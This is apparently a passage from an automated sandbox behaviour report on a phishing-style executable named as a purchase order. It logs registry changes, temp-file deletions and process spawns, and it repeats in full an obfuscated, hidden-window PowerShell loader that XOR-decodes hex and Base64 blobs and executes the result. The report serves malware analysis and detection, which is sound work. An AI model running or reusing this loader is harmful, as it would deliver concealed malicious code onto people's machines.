37110201000080856D77FF0000000004000000D40000006D38160201020080738B74C7000000000100000061000000A4102702017F0080260FB9F900000000140000003B000000BCF4300201000080BE9498180000000001000000820300006C97340201000080EE1839B90000000005000000000000009A483902010001006D537548000000000100000000000000B9BE4502010000808712A98300000000010000008500000077384602017F0500101E3EA3000000000100000001000000D60F470201000080F82C30D1000000000100000000000000FDBE49020102008003520DB60000000001000000E1050000487C4D0201000080127A123700000000640000000F00000093FE59020100010098FBB9D6000000000400000000000000477F610204000100DFB5D96E0000000001000000000000009E26640201020080C0A211130000000001000000000000005792640201000080FD299895000000000100000012060000FF40890201000080252A7840000000007400000019000000FF4089020300004026CCD655000000001C000000000000004614940201000080682B516C00000000010000005B29000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing")51:Td11,Commandline contains PowerShell string "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=92-52;$xdwMRWE=''NV3Latpq'';$li8WT7BZ=''e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2'';$xVRcCKBZ=''ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw=='';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2),16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, ''$dMWc1oD74'', ''''));$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'''') $hXCVgQEI0"'"......." in [Source : powershell.exe]52:Td13,Process "powershell.exe" with commandline "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command "Start-Process $env:SystemRoot\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \\"$j=92-52;$xdwMRWE=''NV3Latpq'';$li8WT7BZ=''e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2'';$xVRcCKBZ=''ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw=='';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2),16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, ''$dMWc1oD74'', ''''));$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'''') $hXCVgQEI0"'"" (UID: 00000000-00005088)53:T557,"HJGROUPS-PURCHASEORDER#170331.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_trctbrev.kim.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ansarajn.xxt.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_cngezrz0.hi4.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_1edghtcv.q3b.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\u2nd3ci3\u2nd3ci3.err" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\u2nd3ci3\u2nd3ci3.0.cs" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\u2nd3ci3\u2nd3ci3.cmdline" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\u2nd3ci3\u2nd3ci3.pdb" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\u2nd3ci3\u2nd3ci3.out" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\u2nd3ci3\u2nd3ci3.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\u2nd3ci3\u2nd3ci3.dll" with delete access54:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")55:T1903,"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command "Start-Process $env:SystemRoot\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \\"$j=92-52;$xdwMRWE=''NV3Latpq'';$li8WT7BZ=''e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2'';$xVRcCKBZ=''ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw=='';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2),16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, ''$dMWc1oD74'', ''''));$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'''') $hXCVgQEI0"'"" on 2026-7-14.16:29:33.334 "-Command "$j=92-52;$xdwMRWE='NV3Latpq';$li8WT7BZ='e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2';$xVRcCKBZ='ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw==';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2) 16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, '$dMWc1oD74', ''));$dMWc1oD74oldR='';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'') $hXCVgQEI0" on 2026-7-14.16:30:21.70356:T1b71,Spawned process "HJGROUPS-PURCHASEORDER#170331.exe" (UID: 00000000-00007312) Spawned process "cmd.exe" with commandline "/C "%TEMP%\\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat"" (UID: 00000000-00003572) Spawned process "powershell.exe" with commandline 